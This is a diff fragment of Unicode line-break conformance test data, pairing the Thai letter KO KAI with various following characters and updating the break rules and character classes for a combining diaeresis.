-× 0E01 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0E01 × 0308 × 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0E01 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0E01 × 0020 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0E01 × 0308 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0E01 × 0308 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0E01 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0E01 × 0020 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0E01 × 0308 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0E01 × 0308 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0E01 × 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0E01 × 0020 ÷ 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0E01 × 0308 × 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0E01 × 0308 × 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0E01 × 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0E01 × 0020 ÷ 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0E01 × 0308 × 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0E01 × 0308 × 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 002D ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0E01 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0E01 × 0020 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0E01 × 0308 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0E01 × 0308 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 231A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0E01 × 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
× 0E01 × 0020 ÷ 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0E01 × 0308 × 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0E01 × 0308 × 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0E01 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [13.02] COMMA (IS) ÷ [0.3]
× 0E01 × 0020 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0E01 × 0308 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0E01 × 0308 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 002C ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0E01 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0E01 × 0020 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0E01 × 0308 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0E01 × 0308 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0E01 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0E01 × 0020 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0E01 × 0308 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0E01 × 0308 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0E01 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0E01 × 0020 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0E01 × 0308 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0E01 × 0308 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0E01 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0E01 × 0020 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0E01 × 0308 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0E01 × 0308 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 000A ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0E01 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0E01 × 0020 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0E01 × 0308 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0E01 × 0308 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 0085 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0E01 × 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0E01 × 0020 ÷ 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0E01 × 0308 × 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0E01 × 0308 × 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0E01 × 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
× 0E01 × 0020 ÷ 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0E01 × 0308 × 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0E01 × 0308 × 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0E01 × 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0E01 × 0020 ÷ 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0E01 × 0308 × 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0E01 ÷ 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0E01 × 0308 × 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0E01 × 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
× 0E01 × 0020 ÷ 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0E01 × 0308 ÷ 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0E01 ÷ 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0E01 × 0308 × 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0E01 × 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
× 0E01 × 0020 ÷ 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0E01 × 0308 ÷ 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0E01 × 0308 × 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0E01 × 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0E01 × 0020 ÷ 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0E01 × 0308 × 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0E01 × 0308 × 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0E01 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [0.3]
× 0E01 × 0020 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0E01 × 0308 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0E01 × 0308 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 0020 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0E01 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0E01 × 0020 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0E01 × 0308 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0E01 × 0308 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 002F ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0E01 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0E01 × 0020 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0E01 × 0308 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0E01 × 0308 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 2060 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0E01 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0E01 × 0020 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0E01 × 0308 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0E01 × 0308 × 0020 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0E01 × 0308 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0E01 × 0308 × 0020 × 200B ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0E01 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0E01 × 0020 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0E01 × 0308 ÷ 1F1E6 ÷ # × [0.3] THAI CHARACTER KO KAI (SA_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
